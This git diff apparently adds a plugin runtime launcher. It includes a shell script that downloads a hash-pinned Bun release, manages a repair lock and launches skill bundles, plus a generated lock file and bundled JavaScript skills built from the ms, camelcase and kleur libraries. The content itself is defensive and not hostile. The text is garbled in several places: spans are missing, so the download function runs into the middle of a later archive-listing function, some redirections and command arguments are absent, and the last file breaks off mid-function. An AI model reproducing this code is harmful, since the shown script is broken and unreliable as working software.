CACHE_ROOT_UNSAFE "$(side_effects_json)" true 'Restore the private runtime cache lock record to an owner-readable file, or point XDG_CACHE_HOME at a writable private directory, then retry.' + fi + _al_lock_identity=$(lock_record_identity) + if writer_is_live; then + diag 'repair lock is held by a live writer' + die 22 LOCK_HELD "$(side_effects_json)" true 'Another repair is in progress; retry runtime-exec repair --apply after it finishes.' + else + _al_writer_status=$? + if [ "$_al_writer_status" = 2 ]; then + diag "repair lock belongs to another host: $rec_host" + die 20 FOREIGN_LOCK_REQUIRES_APPROVAL "$(side_effects_json)" false 'Confirm that no other machine is repairing this private cache, ask the user to approve foreign-lock reclamation, then run runtime-exec repair --apply --reclaim-foreign-lock.' + fi + fi + reclaim_stale_lock "$_al_lock_identity" + done +} + +release_lock() { + if [ "$lock_acquired" = 1 ]; then + if ! "$tool_rm" -rf "$lock_dir" 2>/dev/null; then + return 1 + fi + lock_acquired=0 + fi + return 0 +} + +# --- repair --apply (R11, R12) ------------------------------------------------ + +fail_apply() { + if [ -n "${stage_dir-}" ]; then + "$tool_rm" -rf "$stage_dir" 2>/dev/null || : + fi + if ! release_lock; then + diag 'could not release the repair lock while handling a failed repair' + fi + die "$@" +} + +validate_asset_url() { + case "$RUNTIME_ASSET_URL" in + https://*) ;; + file:///*) + if [ "$test_allow_file_urls" != 1 ]; then + diag 'runtime lock URL scheme is not allowed' + die 23 URL_REJECTED '[]' false 'Fix the runtime lock to use the official https release URL.' + fi + ;; + *) + diag 'runtime lock URL scheme is not allowed' + die 23 URL_REJECTED '[]' false 'Fix the runtime lock to use the official https release URL.' + ;; + esac + _vu_authority=${RUNTIME_ASSET_URL#*://} + _vu_authority=${_vu_authority%%/*} + case "$_vu_authority" in + *@*) + diag 'runtime lock URL carries credentials; refusing to use it' + die 23 URL_REJECTED '[]' false 'Fix the runtime lock to use a credential-free official https release URL.' + ;; + esac +} + +download_archive() { + archive_path=$stage_dir/$RUNTIME_ASSET_ARCHIVE_NAME + _da_status=0 + _da_protocols='=https' + if [ "$test_allow_file_urls" = 1 ]; then + _da_protocols='=https,file' + fi + "$tool_curl" -q --fail --silent --show-error \ + --location --max-redirs 3 \ + --proto "$_da_protocols" --proto-redir '=https' \ + --connect-timeout 10 --max-time 300 \ + --max-filesize "$RUNTIME_ASSET_ARCHIVE_BYTES" \ + --output "$archive_path" "$RUNTIME_ASSET_URL" /dev/null) || { + diag 'archive listing failed' + fail_apply 23 ARCHIVE_MEMBER_MISSING "$(side_effects_json)" false 'The archive cannot be listed; do not install it. Refresh the runtime lock through review.' + } + _em_count=0 + while IFS= read -r _em_entry; do + if [ "$_em_entry" = "$RUNTIME_ASSET_EXECUTABLE_PATH" ]; then + _em_count=$((_em_count + 1)) + fi + done </dev/null | + "$tool_head" -c "$_em_cap" >"$staged_path" || : +} + +verify_staged() { + if [ "$(file_size "$staged_path")" != "$RUNTIME_ASSET_EXECUTABLE_BYTES" ]; then + diag 'staged executable size mismatch' + fail_apply 23 EXECUTABLE_SIZE_MISMATCH "$(side_effects_json)" false 'The extracted executable size does not match the lock; do not install it. Refresh the runtime lock through review.' + fi + if [ "$(sha_file "$staged_path")" != "$RUNTIME_ASSET_EXECUTABLE_SHA256" ]; then + diag 'staged executable sha256 mismatch' + fail_apply 23 EXECUTABLE_HASH_MISMATCH "$(side_effects_json)" false 'The extracted executable hash does not match the lock; do not install it. Refresh the runtime lock through review.' + fi + # Execute permission is granted only after byte and hash verification (R12). + if ! "$tool_chmod" 700 "$staged_path" 2>/dev/null; then + diag 'could not make the verified staged runtime executable' + fail_apply 20 CACHE_ROOT_UNSAFE "$(side_effects_json)" true 'Make the runtime cache writable by the current user (mode 700), or point XDG_CACHE_HOME at a writable private directory, then retry.' + fi + sanitize_bun_environment + if ! _vs_version=$("$staged_path" --config=/dev/null --version /dev/null); then + diag 'verified staged runtime bytes cannot execute from the cache' + fail_apply 21 RUNTIME_NOT_EXECUTABLE "$(side_effects_json)" false 'Point XDG_CACHE_HOME at a filesystem that permits execution, then retry.' + fi + if [ "$_vs_version" != "$RUNTIME_LOCK_VERSION" ]; then + diag "staged executable reported version '$_vs_version' instead of '$RUNTIME_LOCK_VERSION'" + fail_apply 23 EXECUTABLE_VERSION_MISMATCH "$(side_effects_json)" false 'The staged runtime does not report the locked version; do not install it. Refresh the runtime lock through review.' + fi +} + +publish_blob() { + if ! "$tool_mkdir" -p "$blob_dir" 2>/dev/null; then + diag 'could not create the runtime blob directory' + fail_apply 20 CACHE_ROOT_UNSAFE "$(side_effects_json)" true 'Make the runtime cache writable by the current user (mode 700), or point XDG_CACHE_HOME at a writable private directory, then retry.' + fi + if ! path_is_safe "$blob_dir" 'runtime blob directory'; then + diag "unsafe blob directory: $unsafe_reason" + fail_apply 20 CACHE_ROOT_UNSAFE "$(side_effects_json)" false 'Make the runtime cache private: chown it to the current user with mode 700, or point XDG_CACHE_HOME at a private directory.' + fi + # mv replaces a regular file or symlink, but treats an existing directory as + # a destination. Remove a verified-corrupt non-regular destination first so + # the digest path can be restored to exactly one executable file. + if { [ -e "$blob_path" ] || [ -L "$blob_path" ]; } && { [ -L "$blob_path" ] || [ ! -f "$blob_path" ]; }; then + if ! "$tool_rm" -rf "$blob_path" 2>/dev/null; then + diag 'could not remove the non-regular corrupt runtime destination' + fail_apply 20 CACHE_ROOT_UNSAFE "$(side_effects_json)" true 'Make the runtime cache writable by the current user (mode 700), or point XDG_CACHE_HOME at a writable private directory, then retry.' + fi + fi + # Same-filesystem atomic rename: a partial executable is never visible at + # the blob path, and a prior valid blob is replaced only by verified bytes. + if ! "$tool_mv" -f "$staged_path" "$blob_path" 2>/dev/null; then + diag 'could not publish the verified runtime blob' + fail_apply 20 CACHE_ROOT_UNSAFE "$(side_effects_json)" true 'Make the runtime cache writable by the current user (mode 700), or point XDG_CACHE_HOME at a writable private directory, then retry.' + fi + add_side_effect 'published-runtime' + assess_blob + if [ "$blob_status" != valid ]; then + diag "published runtime failed re-verification: $blob_reason" + # Remove the unverified bytes so a failed apply never leaves a broken + # executable at the trusted blob path, even transiently. A prior valid + # blob under a different digest directory is untouched. + "$tool_rm" -f "$blob_path" 2>/dev/null || : + fail_apply 23 EXECUTABLE_HASH_MISMATCH "$(side_effects_json)" false 'The published runtime failed re-verification; run runtime-exec repair --apply again.' + fi +} + +do_apply() { + validate_asset_url + resolve_cache_root + # Refuse an unsafe root before creating anything through it, then re-check + # the components this apply just created. + verify_cache_root_safety + # Guard the store mkdir explicitly: a current-user-owned but non-writable + # cache (mode 500/555, or read-only media) passes the safety check, then this + # mkdir would fail under set -eu and terminate with a bare exit 1 and no JSON + # control object, violating the one-envelope contract (R19/AE12). + if ! "$tool_mkdir" -p "$store_root/bun" "$store_root/locks" "$store_root/staging" 2>/dev/null; then + diag 'could not create the runtime cache store directories' + die 20 CACHE_ROOT_UNSAFE "$(side_effects_json)" true 'Make the runtime cache writable by the current user (mode 700), or point XDG_CACHE_HOME at a writable private directory, then retry.' + fi + verify_cache_root_safety + assess_blob + if [ "$blob_status" = valid ]; then + emit_envelope true REPAIR_UNNEEDED "$(side_effects_json)" true 'The verified runtime is already installed. Run runtime-exec run .' "$(state_extra valid)" + exit 0 + fi + before_state=$blob_status + if [ "$before_state" = corrupt ]; then + diag "existing runtime failed verification: $blob_reason" + fi + acquire_lock + # A concurrent apply may have published while this one waited for the lock; + # verify the winner instead of re-downloading (AE8). + assess_blob + if [ "$blob_status" = valid ]; then + if ! release_lock; then + diag 'could not release the repair lock after observing a concurrent repair' + die 20 CACHE_ROOT_UNSAFE "$(side_effects_json)" false 'A verified runtime is installed, but repair cleanup failed. Run the skill now; make the runtime cache writable before a later repair.' + fi + emit_envelope true REPAIR_UNNEEDED "$(side_effects_json)" true 'A concurrent repair already published a verified runtime. Run runtime-exec run .' "$(state_extra valid)" + exit 0 + fi + stage_dir=$store_root/staging/$nonce + if ! "$tool_mkdir" -p "$stage_dir" 2>/dev/null; then + diag 'could not create the private repair staging directory' + fail_apply 20 CACHE_ROOT_UNSAFE "$(side_effects_json)" true 'Make the runtime cache writable by the current user (mode 700), or point XDG_CACHE_HOME at a writable private directory, then retry.' + fi + download_archive + verify_archive + extract_member + verify_staged + publish_blob + _ap_cleanup_failed=0 + if ! "$tool_rm" -rf "$stage_dir" 2>/dev/null; then + diag 'could not remove the private repair staging directory after publication' + _ap_cleanup_failed=1 + fi + if ! release_lock; then + diag 'could not release the repair lock after publication' + _ap_cleanup_failed=1 + fi + if [ "$_ap_cleanup_failed" = 1 ]; then + die 20 CACHE_ROOT_UNSAFE "$(side_effects_json)" false 'The verified runtime was installed, but repair cleanup failed. Run the skill now; make the runtime cache writable before a later repair.' + fi + _ap_extra=$(runtime_extra) + _ap_extra=$_ap_extra',"state":{"before":"'$before_state'","after":"valid"}' + emit_envelope true REPAIR_APPLIED "$(side_effects_json)" true "Verified Bun $RUNTIME_LOCK_VERSION is installed. Run runtime-exec run ." "$_ap_extra" + exit 0 +} + +# --- commands ----------------------------------------------------------------- + +cmd_repair() { + apply=0 + reclaim_foreign_lock=0 + if [ $# -gt 0 ]; then + if [ "$1" = "--apply" ] && [ $# -eq 1 ]; then + apply=1 + elif [ "$1" = "--apply" ] && [ "${2-}" = "--reclaim-foreign-lock" ] && [ $# -eq 2 ]; then + apply=1 + reclaim_foreign_lock=1 + else + die 2 USAGE '[]' true 'Usage: runtime-exec repair [--apply [--reclaim-foreign-lock]].' + fi + fi + require_common_tools + if [ "$apply" = 1 ]; then + require_apply_tools + fi + detect_platform + load_projections + select_locked_asset + if [ "$apply" = 1 ]; then + do_apply + fi + # Preview: read-only and network-free. + resolve_cache_root + verify_cache_root_safety + assess_blob + case "$blob_status" in + valid) + emit_envelope true REPAIR_PREVIEW '[]' true "No repair needed; verified Bun $RUNTIME_LOCK_VERSION is installed. Run runtime-exec run ." "$(state_extra valid)" + ;; + missing) + emit_envelope true REPAIR_PREVIEW '[]' true "Ask the user to approve, then run runtime-exec repair --apply to download Bun $RUNTIME_LOCK_VERSION from the locked official release and install it into the private cache." "$(state_extra missing)" + ;; + corrupt) + diag "existing runtime failed verification: $blob_reason" + emit_envelope true REPAIR_PREVIEW '[]' true "Ask the user to approve, then run runtime-exec repair --apply to replace the corrupt cached runtime with a verified Bun $RUNTIME_LOCK_VERSION." "$(state_extra corrupt)" + ;; + esac + exit 0 +} + +cmd_run() { + if [ $# -lt 1 ]; then + die 2 USAGE '[]' true 'Usage: runtime-exec run [-- args...].' + fi + skill=$1 + shift + if [ $# -gt 0 ]; then + if [ "$1" != "--" ]; then + die 2 USAGE '[]' true 'Separate skill arguments from the skill id with --.' + fi + shift + fi + case "$skill" in + '' | -* | *[!a-z0-9-]*) + die 23 SKILL_UNKNOWN '[]' false 'Use a skill id registered in the skill catalog.' + ;; + esac + require_common_tools + detect_platform + load_projections + select_locked_asset + runtime_catalog_select_skill "$skill" || { + diag "skill is not registered in the catalog: $skill" + die 23 SKILL_UNKNOWN '[]' false 'Use a skill id registered in the skill catalog.' + } + if [ "$RUNTIME_SKILL_PROFILE" != "$RUNTIME_LOCK_PROFILE" ]; then + diag "skill profile $RUNTIME_SKILL_PROFILE does not match lock profile $RUNTIME_LOCK_PROFILE" + die 23 LOCK_INVALID '[]' false 'Regenerate the plugin payload; the skill profile does not match the runtime lock.' + fi + runtime_inventory_select_bundle "$skill" || { + diag "skill has no bundle mapping in the inventory: $skill" + die 23 BUNDLE_UNMAPPED '[]' false 'Rebuild the plugin payload; this skill has no bundle inventory mapping.' + } + case "$RUNTIME_BUNDLE_PATH" in + runtime/*) ;; + *) + die 23 BUNDLE_MISMATCH '[]' false 'Rebuild the plugin payload; the bundle inventory mapping is malformed.' + ;; + esac + case "$RUNTIME_BUNDLE_PATH" in + *..*) + die 23 BUNDLE_MISMATCH '[]' false 'Rebuild the plugin payload; the bundle inventory mapping is malformed.' + ;; + esac + bundle_path=$plugin_root/$RUNTIME_BUNDLE_PATH + if [ -L "$bundle_path" ] || [ ! -f "$bundle_path" ]; then + diag 'skill bundle is missing from the payload' + die 23 BUNDLE_MISMATCH '[]' false 'Reinstall the plugin payload; the skill bundle is missing.' + fi + if [ "$(file_size "$bundle_path")" != "$RUNTIME_BUNDLE_BYTES" ] || + [ "$(sha_file "$bundle_path")" != "$RUNTIME_BUNDLE_SHA256" ]; then + diag 'skill bundle does not match the recorded inventory identity' + die 23 BUNDLE_MISMATCH '[]' false 'Reinstall the plugin payload; the skill bundle does not match its recorded identity.' + fi + resolve_cache_root + verify_cache_root_safety + assess_blob + case "$blob_status" in + missing) + die 20 BUN_MISSING '[]' true "Preview with runtime-exec repair, then ask the user to approve before running runtime-exec repair --apply to install Bun $RUNTIME_LOCK_VERSION." "$(state_extra missing)" + ;; + corrupt) + diag "cached runtime failed verification: $blob_reason" + die 20 REPAIR_REQUIRED '[]' true 'Ask the user to approve runtime-exec repair --apply to replace the corrupt cached runtime; run never repairs.' "$(state_extra corrupt)" + ;; + esac + # Launch: restore the ordinary caller environment, suppress Bun ambient + # control surfaces (R20), and pass stdio/exit through unchanged (R19). + # The caller's cwd is preserved for the skill, but Bun auto-discovers + # bunfig.toml from that cwd and a top-level `preload` there would run + # caller-controlled code inside the verified runtime. Point --config at an + # /dev/null is the admitted immutable empty config on every supported Unix + # target. It avoids per-run temp state while preventing cwd bunfig discovery. + sanitize_bun_environment + _run_version='' + if ! _run_version=$("$blob_path" --config=/dev/null --version /dev/null); then + diag 'verified runtime bytes cannot execute from the cache' + die 21 RUNTIME_NOT_EXECUTABLE '[]' false 'Point XDG_CACHE_HOME at a filesystem that permits execution, then retry.' + fi + if [ "$_run_version" != "$RUNTIME_LOCK_VERSION" ]; then + diag 'verified runtime reported an unexpected version before launch' + die 23 EXECUTABLE_VERSION_MISMATCH '[]' false 'Run runtime-exec repair --apply after approval to replace the unusable cached runtime.' + fi + if [ "$caller_lc_all_set" = 1 ]; then + LC_ALL=$caller_lc_all + export LC_ALL + else + unset LC_ALL 2>/dev/null || : + fi + if [ "$caller_path_set" = 1 ]; then + PATH=$caller_path + export PATH + else + unset PATH 2>/dev/null || : + fi + # Restore the caller umask so the launched skill's own file writes are not + # forced to the tightened 077 custody mask. + umask "$caller_umask" + exec "$blob_path" --config=/dev/null --no-install --env-file=/dev/null "$bundle_path" "$@" +} + +# --- dispatch ----------------------------------------------------------------- + +if [ $# -lt 1 ]; then + print_help + exit 0 +fi +command=$1 +shift +case "$command" in +help | -h | --help) + print_help + exit 0 + ;; +run) + cmd_run "$@" + ;; +repair) + cmd_repair "$@" + ;; +*) + diag "unknown command: $command" + die 2 USAGE '[]' true 'Run runtime-exec help for the supported commands.' + ;; +esac diff --git a/plugin/runtime/runtime-lock.sh b/plugin/runtime/runtime-lock.sh new file mode 100644 index 0000000..be17a8a --- /dev/null +++ b/plugin/runtime/runtime-lock.sh @@ -0,0 +1,46 @@ +#!/bin/sh +# Generated from runtime/runtime.lock.json. Edit the source, then run bun run generate. +RUNTIME_LOCK_PROFILE='bun' +RUNTIME_LOCK_VERSION='1.3.14' + +runtime_lock_select_asset() { + case "$1" in + darwin-arm64) + RUNTIME_ASSET_ARCHIVE_NAME='bun-darwin-aarch64.zip' + RUNTIME_ASSET_URL='https://github.com/oven-sh/bun/releases/download/bun-v1.3.14/bun-darwin-aarch64.zip' + RUNTIME_ASSET_ARCHIVE_BYTES='23586433' + RUNTIME_ASSET_ARCHIVE_SHA256='d8b96221828ad6f97ac7ac0ab7e95872341af763001e8803e8267652c2652620' + RUNTIME_ASSET_EXECUTABLE_PATH='bun-darwin-aarch64/bun' + RUNTIME_ASSET_EXECUTABLE_BYTES='63096576' + RUNTIME_ASSET_EXECUTABLE_SHA256='e0c90ec15d33363e6b70713d56bc3b2c7585c17f40a0fe0f8fd9305901d4e233' + ;; + darwin-x64) + RUNTIME_ASSET_ARCHIVE_NAME='bun-darwin-x64-baseline.zip' + RUNTIME_ASSET_URL='https://github.com/oven-sh/bun/releases/download/bun-v1.3.14/bun-darwin-x64-baseline.zip' + RUNTIME_ASSET_ARCHIVE_BYTES='26509145' + RUNTIME_ASSET_ARCHIVE_SHA256='3e35ad6f53971a9834bf9e6786e2adf72b5f1921cc9a9c5fde073d2972944076' + RUNTIME_ASSET_EXECUTABLE_PATH='bun-darwin-x64-baseline/bun' + RUNTIME_ASSET_EXECUTABLE_BYTES='69173328' + RUNTIME_ASSET_EXECUTABLE_SHA256='ea2f223e94bb2f4bf3050895113c3cf346438f6fa0501c8532284e063f72f7a0' + ;; + linux-arm64) + RUNTIME_ASSET_ARCHIVE_NAME='bun-linux-aarch64.zip' + RUNTIME_ASSET_URL='https://github.com/oven-sh/bun/releases/download/bun-v1.3.14/bun-linux-aarch64.zip' + RUNTIME_ASSET_ARCHIVE_BYTES='35700603' + RUNTIME_ASSET_ARCHIVE_SHA256='a27ffb63a8310375836e0d6f668ae17fa8d8d18b88c37c821c65331973a19a3b' + RUNTIME_ASSET_EXECUTABLE_PATH='bun-linux-aarch64/bun' + RUNTIME_ASSET_EXECUTABLE_BYTES='91801560' + RUNTIME_ASSET_EXECUTABLE_SHA256='37141662ebed915a2ab89313156e455e2a1374395f5f6760d06407f49406f086' + ;; + linux-x64) + RUNTIME_ASSET_ARCHIVE_NAME='bun-linux-x64-baseline.zip' + RUNTIME_ASSET_URL='https://github.com/oven-sh/bun/releases/download/bun-v1.3.14/bun-linux-x64-baseline.zip' + RUNTIME_ASSET_ARCHIVE_BYTES='35595658' + RUNTIME_ASSET_ARCHIVE_SHA256='a063908ae08b7852ca10939bbdc6ceed3ddabce8fb9402dce83d65d73b36e6c7' + RUNTIME_ASSET_EXECUTABLE_PATH='bun-linux-x64-baseline/bun' + RUNTIME_ASSET_EXECUTABLE_BYTES='91802480' + RUNTIME_ASSET_EXECUTABLE_SHA256='a8f9ebd1770ddc8e55dab7a68d4ec1ec1eebf374bb97cc65cf2c3cb373fc6791' + ;; + *) return 1 ;; + esac +} diff --git a/plugin/runtime/skill-a-27cb243179e5c93d.js b/plugin/runtime/skill-a-27cb243179e5c93d.js new file mode 100644 index 0000000..6213ed3 --- /dev/null +++ b/plugin/runtime/skill-a-27cb243179e5c93d.js @@ -0,0 +1,240 @@ +// @bun +var __create = Object.create; +var __getProtoOf = Object.getPrototypeOf; +var __defProp = Object.defineProperty; +var __getOwnPropNames = Object.getOwnPropertyNames; +var __hasOwnProp = Object.prototype.hasOwnProperty; +function __accessProp(key) { + return this[key]; +} +var __toESMCache_node; +var __toESMCache_esm; +var __toESM = (mod, isNodeMode, target) => { + var canCache = mod != null && typeof mod === "object"; + if (canCache) { + var cache = isNodeMode ? __toESMCache_node ??= new WeakMap : __toESMCache_esm ??= new WeakMap; + var cached = cache.get(mod); + if (cached) + return cached; + } + target = mod != null ? __create(__getProtoOf(mod)) : {}; + const to = isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target; + for (let key of __getOwnPropNames(mod)) + if (!__hasOwnProp.call(to, key)) + __defProp(to, key, { + get: __accessProp.bind(mod, key), + enumerable: true + }); + if (canCache) + cache.set(mod, to); + return to; +}; +var __commonJS = (cb, mod) => () => (mod || cb((mod = { exports: {} }).exports, mod), mod.exports); + +// node_modules/.bun/ms@2.1.3/node_modules/ms/index.js +var require_ms = __commonJS((exports, module) => { + var s = 1000; + var m = s * 60; + var h = m * 60; + var d = h * 24; + var w = d * 7; + var y = d * 365.25; + module.exports = function(val, options) { + options = options || {}; + var type = typeof val; + if (type === "string" && val.length > 0) { + return parse(val); + } else if (type === "number" && isFinite(val)) { + return options.long ? fmtLong(val) : fmtShort(val); + } + throw new Error("val is not a non-empty string or a valid number. val=" + JSON.stringify(val)); + }; + function parse(str) { + str = String(str); + if (str.length > 100) { + return; + } + var match = /^(-?(?:\d+)?\.?\d+) *(milliseconds?|msecs?|ms|seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|weeks?|w|years?|yrs?|y)?$/i.exec(str); + if (!match) { + return; + } + var n = parseFloat(match[1]); + var type = (match[2] || "ms").toLowerCase(); + switch (type) { + case "years": + case "year": + case "yrs": + case "yr": + case "y": + return n * y; + case "weeks": + case "week": + case "w": + return n * w; + case "days": + case "day": + case "d": + return n * d; + case "hours": + case "hour": + case "hrs": + case "hr": + case "h": + return n * h; + case "minutes": + case "minute": + case "mins": + case "min": + case "m": + return n * m; + case "seconds": + case "second": + case "secs": + case "sec": + case "s": + return n * s; + case "milliseconds": + case "millisecond": + case "msecs": + case "msec": + case "ms": + return n; + default: + return; + } + } + function fmtShort(ms) { + var msAbs = Math.abs(ms); + if (msAbs >= d) { + return Math.round(ms / d) + "d"; + } + if (msAbs >= h) { + return Math.round(ms / h) + "h"; + } + if (msAbs >= m) { + return Math.round(ms / m) + "m"; + } + if (msAbs >= s) { + return Math.round(ms / s) + "s"; + } + return ms + "ms"; + } + function fmtLong(ms) { + var msAbs = Math.abs(ms); + if (msAbs >= d) { + return plural(ms, msAbs, d, "day"); + } + if (msAbs >= h) { + return plural(ms, msAbs, h, "hour"); + } + if (msAbs >= m) { + return plural(ms, msAbs, m, "minute"); + } + if (msAbs >= s) { + return plural(ms, msAbs, s, "second"); + } + return ms + " ms"; + } + function plural(ms, msAbs, n, name) { + var isPlural = msAbs >= n * 1.5; + return Math.round(ms / n) + " " + name + (isPlural ? "s" : ""); + } +}); + +// node_modules/.bun/camelcase@8.0.0/node_modules/camelcase/index.js +var UPPERCASE = /[\p{Lu}]/u; +var LOWERCASE = /[\p{Ll}]/u; +var LEADING_CAPITAL = /^[\p{Lu}](?![\p{Lu}])/gu; +var IDENTIFIER = /([\p{Alpha}\p{N}_]|$)/u; +var SEPARATORS = /[_.\- ]+/; +var LEADING_SEPARATORS = new RegExp("^" + SEPARATORS.source); +var SEPARATORS_AND_IDENTIFIER = new RegExp(SEPARATORS.source + IDENTIFIER.source, "gu"); +var NUMBERS_AND_IDENTIFIER = new RegExp("\\d+" + IDENTIFIER.source, "gu"); +var preserveCamelCase = (string, toLowerCase, toUpperCase, preserveConsecutiveUppercase) => { + let isLastCharLower = false; + let isLastCharUpper = false; + let isLastLastCharUpper = false; + let isLastLastCharPreserved = false; + for (let index = 0;index < string.length; index++) { + const character = string[index]; + isLastLastCharPreserved = index > 2 ? string[index - 3] === "-" : true; + if (isLastCharLower && UPPERCASE.test(character)) { + string = string.slice(0, index) + "-" + string.slice(index); + isLastCharLower = false; + isLastLastCharUpper = isLastCharUpper; + isLastCharUpper = true; + index++; + } else if (isLastCharUpper && isLastLastCharUpper && LOWERCASE.test(character) && (!isLastLastCharPreserved || preserveConsecutiveUppercase)) { + string = string.slice(0, index - 1) + "-" + string.slice(index - 1); + isLastLastCharUpper = isLastCharUpper; + isLastCharUpper = false; + isLastCharLower = true; + } else { + isLastCharLower = toLowerCase(character) === character && toUpperCase(character) !== character; + isLastLastCharUpper = isLastCharUpper; + isLastCharUpper = toUpperCase(character) === character && toLowerCase(character) !== character; + } + } + return string; +}; +var preserveConsecutiveUppercase = (input, toLowerCase) => { + LEADING_CAPITAL.lastIndex = 0; + return input.replaceAll(LEADING_CAPITAL, (match) => toLowerCase(match)); +}; +var postProcess = (input, toUpperCase) => { + SEPARATORS_AND_IDENTIFIER.lastIndex = 0; + NUMBERS_AND_IDENTIFIER.lastIndex = 0; + return input.replaceAll(NUMBERS_AND_IDENTIFIER, (match, pattern, offset) => ["_", "-"].includes(input.charAt(offset + match.length)) ? match : toUpperCase(match)).replaceAll(SEPARATORS_AND_IDENTIFIER, (_, identifier) => toUpperCase(identifier)); +}; +function camelCase(input, options) { + if (!(typeof input === "string" || Array.isArray(input))) { + throw new TypeError("Expected the input to be `string | string[]`"); + } + options = { + pascalCase: false, + preserveConsecutiveUppercase: false, + ...options + }; + if (Array.isArray(input)) { + input = input.map((x) => x.trim()).filter((x) => x.length).join("-"); + } else { + input = input.trim(); + } + if (input.length === 0) { + return ""; + } + const toLowerCase = options.locale === false ? (string) => string.toLowerCase() : (string) => string.toLocaleLowerCase(options.locale); + const toUpperCase = options.locale === false ? (string) => string.toUpperCase() : (string) => string.toLocaleUpperCase(options.locale); + if (input.length === 1) { + if (SEPARATORS.test(input)) { + return ""; + } + return options.pascalCase ? toUpperCase(input) : toLowerCase(input); + } + const hasUpperCase = input !== toLowerCase(input); + if (hasUpperCase) { + input = preserveCamelCase(input, toLowerCase, toUpperCase, options.preserveConsecutiveUppercase); + } + input = input.replace(LEADING_SEPARATORS, ""); + input = options.preserveConsecutiveUppercase ? preserveConsecutiveUppercase(input, toLowerCase) : toLowerCase(input); + if (options.pascalCase) { + input = toUpperCase(input.charAt(0)) + input.slice(1); + } + return postProcess(input, toUpperCase); +} + +// packages/skill-a/src/main.js +var import_ms = __toESM(require_ms(), 1); +function skillAProof() { + return { + skill: "skill-a", + moduleShape: "esm", + esmDependency: camelCase("skill a offline proof"), + cjsDependencyMilliseconds: import_ms.default("2h"), + sideEffects: "none" + }; +} +console.log(JSON.stringify(skillAProof())); +export { + skillAProof +}; diff --git a/plugin/runtime/skill-b-535431fb5dd1ed0a.js b/plugin/runtime/skill-b-535431fb5dd1ed0a.js new file mode 100644 index 0000000..d1df2fb --- /dev/null +++ b/plugin/runtime/skill-b-535431fb5dd1ed0a.js @@ -0,0 +1,230 @@ +// @bun +var __commonJS = (cb, mod) => () => (mod || cb((mod = { exports: {} }).exports, mod), mod.exports); + +// node_modules/.bun/kleur@4.1.5/node_modules/kleur/index.js +var require_kleur = __commonJS((exports, module) => { + var FORCE_COLOR; + var NODE_DISABLE_COLORS; + var NO_COLOR; + var TERM; + var isTTY = true; + if (typeof process !== "undefined") { + ({ FORCE_COLOR, NODE_DISABLE_COLORS, NO_COLOR, TERM } = process.env || {}); + isTTY = process.stdout && process.stdout.isTTY; + } + var $ = { + enabled: !NODE_DISABLE_COLORS && NO_COLOR == null && TERM !== "dumb" && (FORCE_COLOR != null && FORCE_COLOR !== "0" || isTTY), + reset: init(0, 0), + bold: init(1, 22), + dim: init(2, 22), + italic: init(3, 23), + underline: init(4, 24), + inverse: init(7, 27), + hidden: init(8, 28), + strikethrough: init(9, 29), + black: init(30, 39), + red: init(31, 39), + green: init(32, 39), + yellow: init(33, 39), + blue: init(34, 39), + magenta: init(35, 39), + cyan: init(36, 39), + white: init(37, 39), + gray: init(90, 39), + grey: init(90, 39), + bgBlack: init(40, 49), + bgRed: init(41, 49), + bgGreen: init(42, 49), + bgYellow: init(43, 49), + bgBlue: init(44, 49), + bgMagenta: init(45, 49), + bgCyan: init(46, 49), + bgWhite: init(47, 49) + }; + function run(arr, str) { + let i = 0, tmp, beg = "", end = ""; + for (;i < arr.length; i++) { + tmp = arr[i]; + beg += tmp.open; + end += tmp.close; + if (!!~str.indexOf(tmp.close)) { + str = str.replace(tmp.rgx, tmp.close + tmp.open); + } + } + return beg + str + end; + } + function chain(has, keys) { + let ctx = { has, keys }; + ctx.reset = $.reset.bind(ctx); + ctx.bold = $.bold.bind(ctx); + ctx.dim = $.dim.bind(ctx); + ctx.italic = $.italic.bind(ctx); + ctx.underline = $.underline.bind(ctx); + ctx.inverse = $.inverse.bind(ctx); + ctx.hidden = $.hidden.bind(ctx); + ctx.strikethrough = $.strikethrough.bind(ctx); + ctx.black = $.black.bind(ctx); + ctx.red = $.red.bind(ctx); + ctx.green = $.green.bind(ctx); + ctx.yellow = $.yellow.bind(ctx); + ctx.blue = $.blue.bind(ctx); + ctx.magenta = $.magenta.bind(ctx); + ctx.cyan = $.cyan.bind(ctx); + ctx.white = $.white.bind(ctx); + ctx.gray = $.gray.bind(ctx); + ctx.grey = $.grey.bind(ctx); + ctx.bgBlack = $.bgBlack.bind(ctx); + ctx.bgRed = $.bgRed.bind(ctx); + ctx.bgGreen = $.bgGreen.bind(ctx); + ctx.bgYellow = $.bgYellow.bind(ctx); + ctx.bgBlue = $.bgBlue.bind(ctx); + ctx.bgMagenta = $.bgMagenta.bind(ctx); + ctx.bgCyan = $.bgCyan.bind(ctx); + ctx.bgWhite = $.bgWhite.bind(ctx); + return ctx; + } + function init(open, close) { + let blk = { + open: `\x1B[${open}m`, + close: `\x1B[${close}m`, + rgx: new RegExp(`\\x1b\\[${close}m`, "g") + }; + return function(txt) { + if (this !== undefined && this.has !== undefined) { + !!~this.has.indexOf(open) || (this.has.push(open), this.keys.push(blk)); + return txt === undefined ? this : $.enabled ? run(this.keys, txt + "") : txt + ""; + } + return txt === undefined ? chain([open], [blk]) : $.enabled ? run([blk], txt + "") : txt + ""; + }; + } + module.exports = $; +}); + +// node_modules/.bun/ms@2.1.3/node_modules/ms/index.js +var require_ms = __commonJS((exports, module) => { + var s = 1000; + var m = s * 60; + var h = m * 60; + var d = h * 24; + var w = d * 7; + var y = d * 365.25; + module.exports = function(val, options) { + options = options || {}; + var type = typeof val; + if (type === "string" && val.length > 0) { + return parse(val); + } else if (type === "number" && isFinite(val)) { + return options.long ? fmtLong(val) : fmtShort(val); + } + throw new Error("val is not a non-empty string or a valid number. val=" + JSON.stringify(val)); + }; + function parse(str) { + str = String(str); + if (str.length > 100) { + return; + } + var match = /^(-?(?:\d+)?\.?\d+) *(milliseconds?|msecs?|ms|seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|weeks?|w|years?|yrs?|y)?$/i.exec(str); + if (!match) { + return; + } + var n = parseFloat(match[1]); + var type = (match[2] || "ms").toLowerCase(); + switch (type) { + case "years": + case "year": + case "yrs": + case "yr": + case "y": + return n * y; + case "weeks": + case "week": + case "w": + return n * w; + case "days": + case "day": + case "d": + return n * d; + case "hours": + case "hour": + case "hrs": + case "hr": + case "h": + return n * h; + case "minutes": + case "minute": + case "mins": + case "min": + case "m": + return n * m; + case "seconds": + 